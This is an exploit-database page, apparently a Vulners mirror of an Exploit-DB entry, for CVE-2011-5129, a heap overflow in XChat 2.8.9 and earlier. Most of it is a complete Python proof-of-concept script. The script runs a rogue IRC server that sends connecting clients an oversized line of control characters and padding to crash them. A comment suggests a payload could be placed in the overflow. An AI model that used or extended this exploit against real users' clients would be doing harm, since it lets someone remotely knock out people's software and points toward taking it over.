Lucene search
+L

XChat 2.8.9 - Heap Overflow Denial of Service

🗓️ 25 Nov 2011 00:00:00Reported by Jane DoeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

XChat Heap Overflow DoS PoC, June 2011, version <=2.8.9, Ubuntu, Kubuntu, Backtrack 5, Heap overflow X Window

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2011-5129
30 Aug 201222:55
attackerkb
circl
Circl
CVE-2011-5129
25 Nov 201100:00
circl
checkpoint_advisories
Check Point Advisories
XChat Bounds Checking Buffer Overflow (CVE-2011-5129)
21 Jan 201500:00
checkpoint_advisories
cve
CVE
CVE-2011-5129
30 Aug 201222:00
cve
cvelist
Cvelist
CVE-2011-5129
30 Aug 201222:00
cvelist
debiancve
Debian CVE
CVE-2011-5129
30 Aug 201222:00
debiancve
nvd
NVD
CVE-2011-5129
30 Aug 201222:55
nvd
prion
Prion
Heap overflow
30 Aug 201222:55
prion
rosalinux
Rosalinux
Advisory ROSA-SA-2021-1999
2 Jul 202118:21
rosalinux
susecve
SUSE CVE
SUSE CVE-2011-5129
15 Feb 202305:49
susecve
Rows per page
#!/usr/bin/python

# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9

# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here.

# th3p4tri0t

import socket

print "XChat PoC Exploit by th3p4tri0t\n"

print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "    [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))

print "    [*] Listening on socket..."
sock.listen(5)

print "    [*] Accepting connection..."
(target, address) = sock.accept()

print "    [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537         # minimum required of this character
buffer += "A"*4000               # anything can go here and it still works.
buffer += " :*\r\n"

target.send(buffer)

target.close
sock.close

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.07696
25